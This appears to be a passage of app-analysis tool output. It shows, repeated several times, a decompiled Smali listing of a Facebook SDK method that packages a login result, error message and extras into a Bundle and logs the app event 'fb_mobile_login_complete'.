                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
